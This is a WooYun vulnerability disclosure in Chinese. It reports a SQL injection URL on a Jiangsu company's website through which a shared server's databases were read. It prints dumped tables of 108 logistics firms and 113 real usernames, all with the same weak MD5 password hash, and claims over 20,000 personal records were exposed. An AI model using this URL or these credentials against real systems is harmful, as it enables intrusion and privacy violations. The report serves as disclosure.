当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0157997

漏洞标题：一枚小注入点引发的旁注（导致108家物流公司&2W+个人信息泄露）

相关厂商：江苏无锡东珠景观股份有限公司

漏洞作者： 路人甲

提交时间：2015-12-03 17:03

修复时间：2016-01-17 17:04

公开时间：2016-01-17 17:04

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-03： 积极联系厂商并且等待厂商认领中，细节不对外公开
2016-01-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

本来只是无意间找到的一个公司的注入点，本来以为没什么大价值。
结果进去后发现了15个库，不同的库都是一个或者几个公司，每个库100张左右的表
测试了几个，发现可能会造成严重的信息泄露

详细说明：

那家公司的注入点
http://www.jsdzjg.com/caselist.php?sort_id=1

QQ截图20151203150243.jpg


QQ截图20151203150320.jpg


如图，圈出来的是他自己的库，那么其他的呢？

QQ截图20151203150332.jpg


先看这个物流的库
已查明应该是江苏无锡物流园

Database: wuliu
Table: wanda_company
[108 entries]
+--------------------+
| company            |
+--------------------+
| 龙利达货运              |
| 龙珠快运（无锡）有限公司       |
| 力进物流有限公司           |
| 青岛升升货运车队           |
| 琦顺快运               |
| 新飞亚物流（无锡）有限公司      |
| 石家庄市华鹰运输有限公司无锡分公司  |
| 山东青岛长安运输公司         |
| 翔鹏货运               |
| 天得利物流              |
| 武汉汇鑫物流有限公司         |
| 潍坊恒通物流有限公司         |
| 无锡龙发快运             |
| 无锡秦龙物流货运有限公司       |
| 无锡市蒙通货运有限公司        |
| 无锡市辽西物流有限公司        |
| 无锡市龙马运输有限公司        |
| 无锡市新疆老李货运配载部       |
| 无锡市胜繁物流有限公司        |
| 无锡市山西晋北货运公司        |
| 无锡市温泉快运            |
| 无锡市吴忠货运有限公司        |
| 无锡市卫国快运有限公司        |
| 无锡市祥龙货运有限公司        |
| 无锡市天利物流有限公司        |
| 无锡市锡山区东北塘国用货运配载公司  |
| 无锡市锡波货运有限公司        |
| 无锡市文华货运有限公司        |
| 无锡市伟昌货运有限公司        |
| 无锡市伟峰运输有限公司        |
| 无锡市迅杰物流锡通分公司       |
| 无锡市浙商货运有限公司        |
| 无锡市永胜（环泰）特快运输有限公司  |
| 无锡市意至货运有限公司        |
| 无锡市友安运输有限公司        |
| 无锡市张兵生托运部          |
| 无锡市益源物流有限公司        |
| 无锡市胖子货运有限公司        |
| 无锡市婺州货运服务部         |
| 无锡市鑫福快运公司          |
| 无锡市贝思特运输有限公司       |
| 无锡市昌九快运公司          |
| 无锡市成达运输服务有限公司      |
| 无锡市大德物流有限公司        |
| 无锡市春江物流有限公司        |
| 无锡市丹东四姐货运代理部       |
| 无锡市东正物流有限公司        |
| 无锡市东北盛达特快运输有限公司    |
| 无锡市富强运输有限公司        |
| 无锡市恒越货运公司          |
| 无锡市恒安货运配载站         |
| 无锡市宏达快运            |
| 无锡市红河货运有限公司        |
| 无锡市红火货运有限公司        |
| 无锡市航星物流有限公司        |
| 无锡市嘉名舜物流有限公司       |
| 无锡市嘉龙货运有限公司        |
| 无锡市吉安快运有限公司        |
| 无锡市吉达储运有限公司        |
| 无锡市金力快运有限公司        |
| 无锡市金顺运输有限公司        |
| 无锡市金镖快运            |
| 无锡市锦源货运有限公司        |
| 无锡市津霸加急快运          |
| 无锡市锦华快运有限公司        |
| 无锡市晋商物流有限公司        |
| 无锡市骏越货运            |
| 无锡盛唐物流服务有限公司       |
| 无锡胜杰物流             |
| 无锡顺全物流有限公司         |
| 无锡物流在线             |
| 无锡夏氏物流有限公司         |
| 无锡勇先物流有限公司         |
| 无锡正大物流有限公司         |
| 无锡鑫诚快运有限公司         |
| 无锡安邦运输有限公司         |
| 无锡诚亿物流有限公司         |
| 无锡大众物流有限公司         |
| 无锡恒润物流有限公司         |
| 无锡鸿安物流有限公司         |
| 无锡宏驰物流有限公司         |
| 无锡浩驰物流有限公司         |
| 无锡吉盟快运             |
| 无锡进文物流有限公司         |
| 烟台顺发物流有限公司无锡分公司    |
| 迅杰物流               |
| 浙江衢州协安货运公司         |
| 浙江宁波象山运输公司驻无锡回程办事处 |
| 浙江环球快运建德配载部        |
| 运恒物理无锡有限公司         |
| 豫北快运               |
| 莆田锡福货运有限公司         |
| 南阳顺利达货运有限公司        |
| 内蒙古巴彦淖尔市顺泰汽车运输有限公司 |
| 中商亿通运输有限公司         |
| 众达物流               |
| 安庆市汽车运输公司无锡配载站     |
| 长治市第一运输公司无锡分公司     |
| 达利园物流              |
| 大连鑫畅顺物流驻无锡办事处      |
| 福建省三明兄弟物流有限公司无锡分公司 |
| 广平物流               |
| 哈尔滨宏运货物运输有限公司无锡分公司 |
| 恒利祥货运（无锡）有限公司      |
| 河南省漯河市公路运输公司       |
| 吉龙货运配载站            |
| 吉发货运有限公司           |
| 集成物流               |
+--------------------+


108家物流公司的内部信息以及他们在物流园的账号

Database: wuliu
Table: wanda_username
[113 entries]
+----------------------------------+----------------+
| password                         | username       |
+----------------------------------+----------------+
| e10adc3949ba59abbe56e057f20f883e | admin          |
| e10adc3949ba59abbe56e057f20f883e | 1234           |
| e10adc3949ba59abbe56e057f20f883e | 客服01           |
| e10adc3949ba59abbe56e057f20f883e | 大众物流
| e10adc3949ba59abbe56e057f20f883e | 客服02           |
| e10adc3949ba59abbe56e057f20f883e | 迅杰物流
| e10adc3949ba59abbe56e057f20f883e | testc          |
| e10adc3949ba59abbe56e057f20f883e | service        |
| e10adc3949ba59abbe56e057f20f883e | weiguo         |
| e10adc3949ba59abbe56e057f20f883e | anqing         |
| e10adc3949ba59abbe56e057f20f883e | jinba          |
| e10adc3949ba59abbe56e057f20f883e | shuntai        |
| e10adc3949ba59abbe56e057f20f883e | mengtong       |
| e10adc3949ba59abbe56e057f20f883e | fuqiang        |
| e10adc3949ba59abbe56e057f20f883e | chunjiang      |
| e10adc3949ba59abbe56e057f20f883e | daliyuan       |
| e10adc3949ba59abbe56e057f20f883e | xincheng       |
| e10adc3949ba59abbe56e057f20f883e | jida           |
| e10adc3949ba59abbe56e057f20f883e | xunjie         |
| e10adc3949ba59abbe56e057f20f883e | jifa           |
| e10adc3949ba59abbe56e057f20f883e | youan          |
| e10adc3949ba59abbe56e057f20f883e | diyiyunshu     |
| e10adc3949ba59abbe56e057f20f883e | zhengda        |
| e10adc3949ba59abbe56e057f20f883e | jinhua         |
| e10adc3949ba59abbe56e057f20f883e | hengyue        |
| e10adc3949ba59abbe56e057f20f883e | chengyi        |
| e10adc3949ba59abbe56e057f20f883e | pangzi         |
| e10adc3949ba59abbe56e057f20f883e | hongchi        |
| e10adc3949ba59abbe56e057f20f883e | dongzheng      |
| e10adc3949ba59abbe56e057f20f883e | xinchangshun   |
| e10adc3949ba59abbe56e057f20f883e | jinbei         |
| e10adc3949ba59abbe56e057f20f883e | sijie          |
| e10adc3949ba59abbe56e057f20f883e | jinyuan        |
| e10adc3949ba59abbe56e057f20f883e | longlida       |
| e10adc3949ba59abbe56e057f20f883e | xianglong      |
| e10adc3949ba59abbe56e057f20f883e | jialong        |
| e10adc3949ba59abbe56e057f20f883e | tianli         |
| e10adc3949ba59abbe56e057f20f883e | zhongda        |
| e10adc3949ba59abbe56e057f20f883e | yiyuan         |
| e10adc3949ba59abbe56e057f20f883e | lijin          |
| e10adc3949ba59abbe56e057f20f883e | jiamingshun    |
| e10adc3949ba59abbe56e057f20f883e | honghe         |
| e10adc3949ba59abbe56e057f20f883e | hongyun        |
| e10adc3949ba59abbe56e057f20f883e | shengda        |
| e10adc3949ba59abbe56e057f20f883e | dadei          |
| e10adc3949ba59abbe56e057f20f883e | zhangpingsheng |
| e10adc3949ba59abbe56e057f20f883e | qishun         |
| e10adc3949ba59abbe56e057f20f883e | jilong         |
| e10adc3949ba59abbe56e057f20f883e | longfa         |
| e10adc3949ba59abbe56e057f20f883e | jian           |
| e10adc3949ba59abbe56e057f20f883e | haochi         |
| e10adc3949ba59abbe56e057f20f883e | guangping      |
| e10adc3949ba59abbe56e057f20f883e | huanqiu        |
| e10adc3949ba59abbe56e057f20f883e | wenhua         |
| e10adc3949ba59abbe56e057f20f883e | wuzhou         |
| e10adc3949ba59abbe56e057f20f883e | liaoxi         |
| e10adc3949ba59abbe56e057f20f883e | changjiu       |
| e10adc3949ba59abbe56e057f20f883e | jinwen         |
| e10adc3949ba59abbe56e057f20f883e | jinli          |
| e10adc3949ba59abbe56e057f20f883e | anbang         |
| e10adc3949ba59abbe56e057f20f883e | yunheng        |
| e10adc3949ba59abbe56e057f20f883e | longzhu        |
| e10adc3949ba59abbe56e057f20f883e | chengda        |
| e10adc3949ba59abbe56e057f20f883e | luohe          |
| e10adc3949ba59abbe56e057f20f883e | jicheng        |
| e10adc3949ba59abbe56e057f20f883e | jimeng         |
| e10adc3949ba59abbe56e057f20f883e | shunlida       |
| e10adc3949ba59abbe56e057f20f883e | xibo           |
| e10adc3949ba59abbe56e057f20f883e | wenquan        |
| e10adc3949ba59abbe56e057f20f883e | changan        |
| e10adc3949ba59abbe56e057f20f883e | shengsheng     |
| e10adc3949ba59abbe56e057f20f883e | hangxing       |
| e10adc3949ba59abbe56e057f20f883e | xiean          |
| e10adc3949ba59abbe56e057f20f883e | xifu           |
| e10adc3949ba59abbe56e057f20f883e | sanming        |
| e10adc3949ba59abbe56e057f20f883e | jinshun        |
| e10adc3949ba59abbe56e057f20f883e | xiangpeng      |
| e10adc3949ba59abbe56e057f20f883e | xiashi         |
| e10adc3949ba59abbe56e057f20f883e | hongan         |
| e10adc3949ba59abbe56e057f20f883e | longma         |
| e10adc3949ba59abbe56e057f20f883e | hengan         |
| e10adc3949ba59abbe56e057f20f883e | henglixiang    |
| e10adc3949ba59abbe56e057f20f883e | huaying        |
| e10adc3949ba59abbe56e057f20f883e | xinfu          |
| e10adc3949ba59abbe56e057f20f883e | weichang       |
| e10adc3949ba59abbe56e057f20f883e | jinshang       |
| e10adc3949ba59abbe56e057f20f883e | yongsheng      |
| e10adc3949ba59abbe56e057f20f883e | shengjie       |
| e10adc3949ba59abbe56e057f20f883e | tiandeli       |
| e10adc3949ba59abbe56e057f20f883e | hengtong       |
| e10adc3949ba59abbe56e057f20f883e | zheshang       |
| e10adc3949ba59abbe56e057f20f883e | laoli          |
| e10adc3949ba59abbe56e057f20f883e | yongxian       |
| e10adc3949ba59abbe56e057f20f883e | huixin         |
| e10adc3949ba59abbe56e057f20f883e | qinlong        |
| e10adc3949ba59abbe56e057f20f883e | xinfeiya       |
| e10adc3949ba59abbe56e057f20f883e | shengtang      |
| e10adc3949ba59abbe56e057f20f883e | hengrun        |
| e10adc3949ba59abbe56e057f20f883e | xiangshan      |
| e10adc3949ba59abbe56e057f20f883e | yubei          |
| e10adc3949ba59abbe56e057f20f883e | beisite        |
| e10adc3949ba59abbe56e057f20f883e | weifeng        |
| e10adc3949ba59abbe56e057f20f883e | shunfa         |
| e10adc3949ba59abbe56e057f20f883e | hongda         |
| e10adc3949ba59abbe56e057f20f883e | wuzhong        |
| e10adc3949ba59abbe56e057f20f883e | junyue         |
| e10adc3949ba59abbe56e057f20f883e | jinbiao        |
| e10adc3949ba59abbe56e057f20f883e | shengfang      |
| e10adc3949ba59abbe56e057f20f883e | shunquan       |
| e10adc3949ba59abbe56e057f20f883e | guoyong        |
| e10adc3949ba59abbe56e057f20f883e | yizhi          |
| e10adc3949ba59abbe56e057f20f883e | yitong         |
| e10adc3949ba59abbe56e057f20f883e | honghuo        |
+----------------------------------+----------------+


再看看这一个库

QQ截图20151203154039.jpg


还不知道是谁的库，但是已经泄露了2W多人的信息，包括邮箱，手机等

QQ截图20151203153755.jpg


QQ截图20151203154210.jpg


还有其他库，相信里面还有其他大量的公司以及个人信息，就不在深挖了~~
看到这里，这个注入点本身已经不重要了，关键是和他相连的同库下的数据，这个就是短板效应吧，最弱的环节往往决定了安全防护的等级~~

漏洞证明：

同上

修复方案：

先找到那家公司补注入漏洞吧，其他的就靠你们了~~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝